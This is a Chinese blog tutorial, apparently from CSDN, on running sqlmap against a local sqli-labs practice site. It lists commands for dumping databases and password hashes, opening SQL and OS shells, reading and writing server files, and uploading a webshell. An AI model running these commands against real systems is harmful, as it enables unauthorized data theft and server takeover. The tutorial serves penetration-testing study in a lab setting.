前言
本文是介绍sqlmap在sql注入时的使用,由于本身sqlmap拥有的复杂的功能,想要把sqlmap全部介绍完成是非常困难的,但同样由于sqlmap拥有的复杂的功能,能给我们在渗透时提供极大的便利性,节省了时间成本。sqlmap的功能我在这里不会全部讲述,只会讲述一部分,但在日后的使用中我会将新使用的部分写出来,下面开始正文部分。
sqlmap使用
测试环境
1.kali一台(自带sqlmap工具)
2.windows 7 phpstudy (http主机)
如果有对sql注入不熟悉的可以看我前面一篇博客
https://blog.csdn.net/qq_40252049/article/details/103612674
下面开始
流程
确定网络连接
kali上成功连接到网站
http://localhost/sqlilab/sqlilab/Less-1/
进入kali中sqlmap输入
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1”
结果如下图:
注意sqlmap其中有一点,sqlmap中会有一些交互式语句,会提醒你是否使用?如果想要全部选是输入下面命令
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1” --batch
sqlmap -u “http://localhost/sqlilab/sqlilab/Less-1/?id=1” --dbs 爆数据库
sqlmap常用语句
下面的内容摘自
https://blog.csdn.net/qq_39101049/article/details/87995354
sqlmap -r http.txt #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" –-tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其数据库为mysql
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入
通过上面的语句我们可以拿到我们想要的数据
sqlmap除了常规的爆数据之外还有其他用法下面介绍sqlmap在sql注入外的用法
下面介绍
我在当前用户的权限下进行文件读取
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-read “c:/sql.txt”
当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-write test.txt --file-dest “e:/sql.txt” #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为sql.txt
当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
sqlmap -u “http://192.168.100.132/sqli/Less-1/?id=1” --file-read “c:/sql.txt” #读取目标服务器C盘下的sql.txt文件
在当前用户下如何提权?
来源:CSDN
作者:带头大哥段坤
链接:https://blog.csdn.net/qq_40252049/article/details/103764660